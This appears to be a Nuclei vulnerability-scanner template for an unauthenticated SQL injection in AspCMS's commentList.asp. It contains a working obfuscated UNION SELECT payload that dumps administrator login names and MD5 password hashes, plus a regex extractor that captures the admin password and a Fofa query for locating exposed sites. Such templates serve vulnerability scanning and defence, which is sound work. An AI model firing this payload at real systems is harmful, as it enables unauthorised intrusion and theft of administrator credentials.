aspcms-commentlist-sqli: AspCMS commentList.asp - SQL Injection

id: aspcms-commentlist-sqli

info:
  name: AspCMS commentList.asp - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    An SQL injection vulnerability has been identified in the commentList.asp file of AspCMS. Exploiting this vulnerability, an attacker can illicitly acquire the administrator's MD5 password.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/cms/AspCMS/AspCMS%20commentList.asp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="ASPCMS"
  tags: aspcms,sqli,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user"

    extractors:
      - type: regex
        name: admin_password
        group: 1
        regex:
          - "<div class=\"line2\">(.*?)</div>"
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "contains(body,'clistbox') && contains(body,'UserID,GroupID,LoginName,Password')"
        condition: and
# digest: 4a0a00473045022100b6cb6beed88a2dd901c401f23ce544a582694318eb7b31f54a864cfdb07f1d7902205947f55b1b84b853fdef7f68a05d61ed599b3f9e81de0949686a595b09ad4967:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.